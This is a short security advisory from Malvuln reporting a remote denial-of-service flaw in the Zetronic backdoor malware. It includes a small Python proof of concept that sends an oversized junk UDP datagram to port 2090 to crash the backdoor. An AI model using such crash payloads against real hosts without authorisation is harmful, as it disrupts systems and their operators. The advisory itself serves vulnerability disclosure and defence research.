Backdoor.Win32.Zetronic malware suffers from a denial of service vulnerability.
45dea762870995e89b0da07f0f04cfd9Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/caf26a74ca39662e2c3d37e55a242daf.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Zetronic
Vulnerability: Remote DoS
Description: Zetronic listens on UDP port 2090, sending a large datagram packet of junk results in denial of service of the backdoor.
Type: PE32
MD5: caf26a74ca39662e2c3d37e55a242daf
Vuln ID: MVID-2021-0057
Disclosure: 01/28/2021
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=2090
def doit():
s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))
DOS="GET /"+"A"*2500
s.send(DOS)
s.close()
print("Backdoor.Win32.Zetronic / Remote DoS")
print("MD5: caf26a74ca39662e2c3d37e55a242daf")
print("By Malvuln");
if __name__=="__main__":
doit()
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